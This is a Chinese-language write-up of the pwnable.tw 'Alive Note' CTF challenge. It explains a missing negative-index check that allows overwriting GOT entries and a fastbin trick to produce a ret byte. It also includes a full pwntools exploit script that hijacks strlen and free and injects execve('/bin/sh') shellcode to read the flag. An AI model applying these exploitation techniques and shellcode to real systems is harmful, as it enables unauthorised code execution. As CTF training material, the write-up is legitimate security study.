pwnable.tw Alive Note writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
  4. 4. 脚本
  5. 5. 错误思路

又是一道要求可打印shellcode的pwn题,没有给靶机环境,拿到shell 后 可知环境是 glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:alive_note.zip

安全防护

ex@Ex:~/test$ checksec alive_note
[*] '/home/ex/test/alive_note'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

一道明显的shellcode题目。

溢出点

void __cdecl add_note()
{
int index; // [esp+0h] [ebp-18h]
char s[8]; // [esp+4h] [ebp-14h]
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
printf("Index :");
index = read_int();
if ( index > 10 )
{
puts("Out of bound !!");
exit(0);
}
printf("Name :");
read_input(s, 8u);
if ( !check(s) )
{
puts("It must be a alnum name !");
exit(-1);
}
note[index] = strdup(s);
puts("Done !");
}

add_note函数中没有负数检查,就可以直接溢出到got表上。

思路

做完题目后,我上网看了一下,大部分师傅的做法是构造间断的可打印shellcode来读取新的shellcode。

check函数限制了输入的内容只能是空格、数字还有大小写字母。

下面是一些可以利用的指令。

printable_instruction

我的思路略有不同,我是直接修改strlen函数,让其每次都返回0,这样就能绕过check函数。而且我的做法是结合了heap来做的,所以开始的时候我就猜测靶机环境是glibc-2.23

int __cdecl check(char *s)
{
size_t i; // [esp+Ch] [ebp-Ch]

for ( i = 0; strlen(s) > i; ++i )
{
if ( s[i] != ' ' && !((*__ctype_b_loc())[s[i]] & 8) )
return 0;
}
return 1;
}

原理稍微有点复杂,由于不能输入ret指令(0xc3),所以我通过heapfastbin的单链表结构来构造一个ret指令(0xc3)。

简单来说就是前面申请指定的chunk数量,使得能获得地址为0x.....3..(点为任意十六进制)的chunk,然后利用fastbin的单链表结构,让其在chunk上踩出这个地址,然后我们就可以利用,当地址正好为0x....c3..,则我们就可以得到ret指令,受随机化影响,概率是1/16

我们要构造的就是下面这种情况:

pwndbg> fastbins 
fastbins
0x10: 0x91cc310 —▸ 0x91cc300 —▸ 0x91cc0e0 ◂— 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
pwndbg> x/16bx 0x91cc310
0x91cc310: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x91cc318: 0x00 0xc3 0x1c 0x09 0x00 0x00 0x00 0x00

可以看到在0x91cc318 + 1出有ret指令(0xc3)。

思路简单来说就是先把eax置为0,然后执行ret,那么就可以绕过check

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
#include <stdio.h>
#include <stdlib.h>

void my_init(void) __attribute__((constructor));

void my_init()
{
long long p = (long long)malloc(0xf8);
free((char *)p);
if((p & 0xf000) != 0xc000)
{
exit(-1);
}
}
'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './alive_note'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10300)
elf = ELF(execve_file)

# Create temporary files for GDB debugging
try:
gdbscript = '''
define se
set *(char *)$arg0=0xc3
end

b *0x8048520
b *0x80487AE
b *0x80488EA
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def add_note(index, name):
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Index :', str(index))
sh.sendafter('Name :', name)

def show_note(index):
sh.sendlineafter('Your choice :', '2')
sh.sendlineafter('Index :', str(index))

def del_note(index):
sh.sendlineafter('Your choice :', '3')
sh.sendlineafter('Index :', str(index))

for i in range(14):
# print(i)
add_note(0, 'a\n')

add_note(2, 'head\n')

for i in range(5):
add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')
'''
dec eax
dec eax
dec eax
dec eax
dec eax
jno 0x49
'''
add_note(0, '\x48\x48\x48\x48\x48\x71\x49\0')

add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')

'''
dec eax
dec eax
dec eax
dec eax
dec eax
jno 0x4a
'''
add_note(0, '\x48\x48\x48\x48\x48\x71\x4a\0')


add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(0, 'a\n')
add_note(1, 'a\n')

del_note(2)
del_note(0)
del_note(1)

# pause()
add_note(0, '\n')
add_note(0, '\n')
'''
push 0x20
pop eax
dec eax
dec eax
jno 0x49
'''
add_note((elf.got['strlen'] - elf.symbols['note'])/4, '\x6a\x20\x58\x48\x48\x71\x49\0')

# pause()
'''
push 0xb
pop eax
cdq
push edx
jno 0x9
'''
add_note((elf.got['free'] - elf.symbols['note'])/4, '\x6a\x0b\x58\x99\x52\x71\x09')
'''
push 0x68732F2F
jno 0x9
'''
add_note(0, '\x68\x2f\x2f\x73\x68\x71\x09')
'''
push 0x6E69622F
jno 0x9
'''
add_note(0, '\x68\x2f\x62\x69\x6e\x71\x09')
'''
mov ebx, esp
xor ecx, ecx
int 0x80
'''
add_note(0, '\x89\xe3\x31\xc9\xcd\x80')



del_note(0)

sh.sendline('cat /home/alive_note/flag')

sh.interactive()
clear()

错误思路

  1. 刚开始我尝试着用 top_chunk 的 size,来获得0xc3字节,这样成功的概率是100%,奈何要申请的chunk数量太多,只能在本地实现,根本不能在靶机的限制时间内跑完。
  2. 绕过check的第一个想法其实不是劫持strlen,最开始是劫持exit函数,让其直接ret,但是C语言上行通,汇编上却没有意义。

C语言

void __cdecl add_note()
{
...
if ( !check(s) )
{
puts("It must be a alnum name !");
exit(-1);
}
note[index] = strdup(s);
puts("Done !");
}

汇编

.text:08048892                 call    _exit
.text:08048897 ; ---------------------------------------------------------------------------
.text:08048897
.text:08048897 loc_8048897: ; CODE XREF: add_note+B5↑j
.text:08048897 call ___stack_chk_fail
.text:0804889C ; ---------------------------------------------------------------------------
.text:0804889C
.text:0804889C locret_804889C: ; CODE XREF: add_note+B3↑j
.text:0804889C leave
.text:0804889D retn

从汇编可以看出即使直接retexit函数,但是其并没有note[index] = strdup(s);操作,那么就毫无意义。

  1. 期初劫持strlen的时候,我的第一做法并不是直接返回0,而是直接ret到add—_note函数,但是这样ebp并没有恢复,所以会破坏栈导致crash。
pwndbg> stack
00:0000│ esp 0xfff4b6dc —▸ 0x80487b3 (check+90) ◂— add esp, 0x10
01:0004│ 0xfff4b6e0 —▸ 0xfff4b724 ◂— 0x99580b6a
... ↓
03:000c│ 0xfff4b6e8 ◂— 0x8
04:0010│ 0xfff4b6ec —▸ 0xf7e64a4e (printf+45) ◂— add esp, 0x1c
05:0014│ 0xfff4b6f0 —▸ 0xf7fb2d60 (_IO_2_1_stdout_) ◂— xchg dword ptr [eax], ebp /* 0xfbad2887 */
06:0018│ 0xfff4b6f4 —▸ 0x8048b43 ◂— dec esi /* 'Name :' */
07:001c│ 0xfff4b6f8 —▸ 0xfff4b714 ◂— 0x8
pwndbg>
08:0020│ 0xfff4b6fc ◂— 0x0
09:0024│ 0xfff4b700 —▸ 0xfff4b71c —▸ 0x80487ec (add_note+38) ◂— mov dword ptr [ebp - 0x18], eax
... ↓
0b:002c│ ebp 0xfff4b708 —▸ 0xfff4b738 —▸ 0xfff4b748 ◂— 0x0
0c:0030│ 0xfff4b70c —▸ 0x804883c (add_note+118) ◂— add esp, 0x10
0d:0034│ 0xfff4b710 —▸ 0xfff4b724 ◂— 0x99580b6a
0e:0038│ 0xfff4b714 ◂— 0x8
0f:003c│ 0xfff4b718 —▸ 0xfff4b738 —▸ 0xfff4b748 ◂— 0x0